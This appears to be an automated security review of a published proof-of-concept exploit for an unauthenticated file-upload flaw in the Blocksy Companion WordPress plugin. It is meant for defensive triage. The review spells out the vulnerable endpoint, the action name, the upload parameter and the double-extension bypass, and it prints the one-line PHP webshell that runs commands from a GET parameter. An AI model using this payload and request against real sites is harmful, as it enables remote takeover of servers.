Blocksy Companion 2.1.46 - RCE
PoC files
1 fileFile viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.
Analysis
Technical assessment
Python script that sends an unauthenticated POST request to upload a PHP web shell (poc.woff2.php) via the blc-review-images[] parameter to the admin-ajax.php endpoint, exploiting a double-extension file upload bypass in Blocksy Companion <= 2.1.46.
Backdoor review
No backdoor observed in reviewed code
The PoC is a straightforward unauthenticated file upload exploit for CVE-2026-58480. It uploads a minimal PHP webshell that executes commands passed via a GET parameter. No concealed behavior, persistence mechanisms, credential theft, or unrelated payloads are present. The code is fully readable and contains no obfuscation or deceptive functionality.
Classification basis and observed behavior
Classification basis
The script actively uploads a PHP web shell to the target server and provides instructions for executing arbitrary commands, which constitutes exploitation rather than mere detection or scanning.
exploits/multiple/webapps/52640.py:61-69exploits/multiple/webapps/52640.py:79-85Requirements
- Target must run Blocksy Companion <= 2.1.46 with Advanced Reviews and Custom Fonts extensions enabled.
exploits/multiple/webapps/52640.py:12exploits/multiple/webapps/52640.py:28 - Target URL must be supplied as a command-line argument.
exploits/multiple/webapps/52640.py:53-56
Observed behavior
- Constructs a PHP payload that executes system commands via the 'cmd' GET parameter.
exploits/multiple/webapps/52640.py:62-69 - Sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the payload as blc-review-images[] and action=blc_save_review_attachments.
exploits/multiple/webapps/52640.py:71-81 - Prints the HTTP status and response, then instructs the user to access the uploaded shell in wp-content/uploads/.
exploits/multiple/webapps/52640.py:82-85
Behaviors behind the backdoor verdict
Observables
- Webshell Payload
- <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); exit; } echo 'Blocksy RCE PoC - CVE-2026-58480 | @banyamer_security'; ?>The uploaded payload is a simple PHP webshell that executes commands supplied via the 'cmd' GET parameter. This is the intended exploit behavior for the stated CVE and does not constitute a backdoor beyond the advertised RCE.
exploits/multiple/webapps/52640.py:62-69 - Exploit Mechanism
- Unauthenticated POST to /wp-admin/admin-ajax.php with action=blc_save_review_attachments and file upload via blc-review-images[] parameterThe exploit uses the documented vulnerability to upload a file with a double extension (poc.woff2.php) to bypass extension validation. This is consistent with the CVE description and does not involve any hidden or unrelated actions.
exploits/multiple/webapps/52640.py:71-81
What the analysis did not establish
- Only the exploit script is provided; external dependencies (requests library) and the target environment are not included.
- The script's actual effectiveness is not verified; classification is based solely on the code's apparent intent.
- Only the exploit script text was reviewed; no network traffic or runtime behavior was observed.
- The review does not assess the safety or reliability of the exploit, only the absence of backdoor behavior within the provided code.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.